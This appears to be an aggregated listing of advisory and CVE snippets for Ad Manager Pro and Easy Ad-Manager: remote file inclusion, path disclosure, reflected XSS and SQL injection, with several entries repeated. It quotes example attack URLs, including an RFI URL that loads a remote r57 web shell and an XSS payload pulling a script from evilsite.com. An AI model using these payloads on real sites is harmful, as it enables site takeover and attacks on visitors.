Ad Manager Pro 2.6 - 'ipath' Remote File Inclusion

Ad Manager Pro 2.6 Remote File Include Vulnerability homepage: phpwebscripts.com Affected files: ad.php and common.php Credit: Basti Vulnerable Code: if $ipath include$ipath.'/common.php'; else include'./common.php'; Example: http://site/admanagerpro/common.php?ipath=http://site/r57.txt?...

CVE-2006-3003

details.php in Easy Ad-Manager allows remote attackers to obtain the full installation path via an invalid mbid parameter, which leaks the path in an error message. NOTE: this might be resultant from another vulnerability, since this vector also produces cross-site scripting XSS. NOTE: on 2006082...

CVE-2006-3002

Cross-site scripting XSS vulnerability in details.php in Easy Ad-Manager allows remote attackers to inject arbitrary web script or HTML via the mbid parameter, which is reflected in an error message. NOTE: on 20060829, the vendor notified CVE that this issue has been fixed...

CVE-2006-3003

CVE-2006-3003 affects Easy Ad-Manager: details.php accepts an invalid mbid parameter which can reveal the full installation path in an error message. The issue may tie to a related XSS vector. The vendor was notified on 2006-08-29 that the issue was fixed. The public details specify the vulnerabi...

CVE-2006-3002

Cross-site scripting XSS vulnerability in details.php in Easy Ad-Manager allows remote attackers to inject arbitrary web script or HTML via the mbid parameter, which is reflected in an error message. NOTE: on 20060829, the vendor notified CVE that this issue has been fixed...

CVE-2006-3003

details.php in Easy Ad-Manager allows remote attackers to obtain the full installation path via an invalid mbid parameter, which leaks the path in an error message. NOTE: this might be resultant from another vulnerability, since this vector also produces cross-site scripting XSS. NOTE: on 2006082...

CVE-2006-3002

The CVE-2006-3002 issue affects Easy Ad-Manager (details.php) with an XSS in the mbid parameter, where input reflected in an error message can lead to arbitrary script execution. The vulnerability is described across multiple sources (NVD, CVE List) as a reflected XSS. A fix was reported by the v...

Easy Ad-Manager

Easy Ad-Manager v. unknown, not listed on homepage Homepage: http://www.scriptsez.net Effected files: details.php XSS Vulnerability with full path disclosure: http://www.example.com/eam/details.php?do=load&mbid=/SCRIPT20SRC=http://evilsite.com/xss.js/SCRIPT Warning: fopenstats//This is remote tex...

CVE-2005-4233

SQL injection vulnerability in advertiserstatistic.php in Ad Manager Pro 2.0 and earlier allows remote attackers to execute arbitrary SQL commands via the adnumber parameter...

CVE-2005-4233

The CVE-2005-4233 entry describes an SQL injection vulnerability in advertiser_statistic.php for Ad Manager Pro 2.0 and earlier, where the ad_number parameter can be manipulated to execute arbitrary SQL commands. The vulnerability is exploitable remotely, leading to potential data exposure or mod...

CVE-2005-4233

SQL injection vulnerability in advertiserstatistic.php in Ad Manager Pro 2.0 and earlier allows remote attackers to execute arbitrary SQL commands via the adnumber parameter...

PHP Web Scripts Ad Manager Pro 2.0 - 'Advertiser_statistic.php' SQL Injection

source: https://www.securityfocus.com/bid/15847/info Ad Manager Pro is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of the...

PHP Web Scripts Ad Manager Pro 2.0 - Advertiser_statistic.php SQL Injection

PHP Web Scripts Ad Manager Pro 2.0 - Advertiserstatistic.php SQL Injection source: https://www.securityfocus.com/bid/15847/info Ad Manager Pro is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in ...

Ad Manager Pro SQL vuln.

Ad Manager Pro SQL vuln. Vuln. dicovered by : r0t Date: 14 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/ad-manager-pro-sql-vuln.html vendor:www.phpwebscripts.com/admanagerpro/ affected version:2.0 and prior Product Description: Quality ad management system. Graphical or text-bas...